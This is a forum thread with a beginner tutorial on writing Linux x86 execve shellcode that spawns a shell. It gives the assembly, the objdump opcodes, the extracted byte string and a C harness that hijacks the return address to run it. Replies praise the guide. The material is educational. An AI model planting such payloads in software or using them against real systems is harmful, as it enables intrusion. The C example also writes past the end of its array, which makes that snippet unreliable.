Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
[Linux\x86] Shellcode writing example [execve]
  • chroniccommand
    Posts: 1,389
    Well I saw sh3llc0des guide on writing a simple shellcode that exits for Linux\x86 systems and I decided I'd write one on doing a simple call to /bin/dash with the execve system call.

    So first, what exactly is a system call? Well simply put, when the OS calls upon that system call number, it preforms that specific action. For example, the system call number for execve is 11. Also known as sys_execve

    So in assembly we can use this system call to call the sys_execve and push our arguments into that sys call. We set our arguments by pushing them onto the stack and calling the syscall. We will be writing shellcode that will work on more systems than just yours. So first, lets take a look at the execve in our man pages.
    man execve

    If we take a look at the man page, we see we need this:
    int execve(const char *filename, char *const argv[],
    char *const envp[]);


    So we need a constant pointer to our filename as the first argument, an argument for the second and the third is an environment pointer.
    So how is this executed in C? Simple:

    #include <unistd.h>

    int main()
    {
    char *args[1];
    args[0] = \"/bin/dash\";
    args[1] = NULL;
    execve(args[0], args, NULL);
    }

    So lets go through this as simple as possible. To call execve we need to include the unistd header, so we accomplish that in the first line. Then in the main function we set an args array to use in execve. The first argument(0) is going to be our command, which is /bin/dash
    The second(1) is going to be NULL. After we set the arguments, we call upon execve with the pointer to our filename as the first, the entire argument array as the second and NULL as the third, since we dont need an envp.
    So lets compile this:

    $ gcc -mpreferred-stack-boundary=2 -o exec exec.c
    $ ./exec
    $

    And boom, we get a dash session opened. So now we have that working in C, lets get it to work as shellcode. Well first lets create a new file, exec.s. Here is the exec.s file:

    .text
    .globl _start

    _start:

    jmp CallShell

    ShellCode:
    nop
    popl %esi
    xorl %eax, %eax
    movb %al, 0x9(%esi)
    movl %esi, 0xa(%esi)
    movl %eax, 0xe(%esi)
    movb $11, %al
    movl %esi, %ebx
    leal 0xa(%esi), %ecx
    leal 0xe(%esi), %edx
    int $0x80
    CallShell:

    call ShellCode
    ExecVars:
    .ascii \"/bin/dashABBBBCCCC\"

    This is quite simple. First we use a jmp statement to jump to our CallShell "function". Then from there we call our ShellCode. But first, our ExecVars gets pushed onto the stack. Now you may we confused about the ABBBBCCCC after /bin/dash. Well lets simply go into that now.
    If you remember the usage syntax of execve, we need three arguments. The first is our program to execute which is /bin/dash. Then we need a pointer to it. This is what the A is for. It will go back to /bin/dash. The BBBB is our next four bytes and the CCCC is NULL after this. This gives us our usage for execve. So now we have it all set up and pushed to the stack. We've moved our syscall which is 11 into %al and we're ready to execute. So lets compile and link:

    $ as -ggstabs -o exec.o exec.s
    $ ld -o exec exec.o
    $ ./exec
    Segmentation fault

    The segmentation fault is expected, don't worry about that. So now its time to put our shellcode to the test. Lets use objdump:

    objdump -d exec

    And we should get this:

    exec: file format elf32-i386


    Disassembly of section .text:

    08048054 <_start>:
    8048054: eb 19 jmp 804806f <CallShell>

    08048056 <ShellCode>:
    8048056: 90 nop
    8048057: 5e pop %esi
    8048058: 31 c0 xor %eax,%eax
    804805a: 88 46 09 mov %al,0x9(%esi)
    804805d: 89 76 0a mov %esi,0xa(%esi)
    8048060: 89 46 0e mov %eax,0xe(%esi)
    8048063: b0 0b mov $0xb,%al
    8048065: 89 f3 mov %esi,%ebx
    8048067: 8d 4e 0a lea 0xa(%esi),%ecx
    804806a: 8d 56 0e lea 0xe(%esi),%edx
    804806d: cd 80 int $0x80

    0804806f <CallShell>:
    804806f: e8 e2 ff ff ff call 8048056 <ShellCode>

    08048074 <ExecVars>:
    8048074: 2f das
    8048075: 62 69 6e bound %ebp,0x6e(%ecx)
    8048078: 2f das
    8048079: 64 fs
    804807a: 61 popa
    804807b: 73 68 jae 80480e5 <ExecVars+0x71>
    804807d: 41 inc %ecx
    804807e: 42 inc %edx
    804807f: 42 inc %edx
    8048080: 42 inc %edx
    8048081: 42 inc %edx
    8048082: 43 inc %ebx
    8048083: 43 inc %ebx
    8048084: 43 inc %ebx
    8048085: 43 inc %ebx

    So we get the dump of our ELF file which is our shellcode. On the left column we have info such as our memory addresses of the currect operation. The middle column is the op code for this current instruction and the right column shows what we're doing. So we're interested in the middle column. Lets take a test run:

    #include <stdlib.h>

    char shellcode[] = \"\xeb\x19\x90\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\"
    \"\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\"
    \"\x0e\xcd\x80\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e\"
    \"\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\"
    \"\x43\x43\";
    int main()
    {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
    }

    So first we have our shellcode which is just our opcodes in the objdump of exec. Then we have our main function which does nothing but set some pointers, get some memory addresses ready and execute the shellcode in memory. If we do this right we should get a shell. Lets try it out.
    First lets compile

    gcc -o shell shell.c

    Now lets try it out.

    ./shell

    Boom we get a shell. Meaning we did this correctly.

    Now I wont go too much into it, but if we really want to we can compiile with the -ggdb flag on gcc and debug the shell program step by step and examine memory. We could of course debug the exec program in gdb too. I advise you to do this if you wanna know whats going on.

    Anyway I hope you liked it. I tried to keep it pretty simple.

    --chroniccommand
  • Sh3llc0d3
    Posts: 1,910
    Nice guide chronic, your asm coding is coming along well by the way :)
  • chroniccommand
    Posts: 1,389
    said:


    Nice guide chronic, your asm coding is coming along well by the way :)



    Thanks. Like I've said previously I don't plan to learn too much of ASM as of now. Just the basics. I'll probably end up fully learning it later on when I get better at C.
  • Bursihido
    Posts: 406
    Great guide mate keep them coming :)
  • Sh3llc0d3
    Posts: 1,910
    said:


    said:


    Nice guide chronic, your asm coding is coming along well by the way :)



    Thanks. Like I've said previously I don't plan to learn too much of ASM as of now. Just the basics. I'll probably end up fully learning it later on when I get better at C.


    Can't wait to see some of your C programs mate :)
  • Xin
    Posts: 3,251
    Nice to see you learning some more advanced languages chronic good job!
    Xin
  • Sh3llc0d3
    Posts: 1,910
    Knew i'd seen this before :P Well in NASM.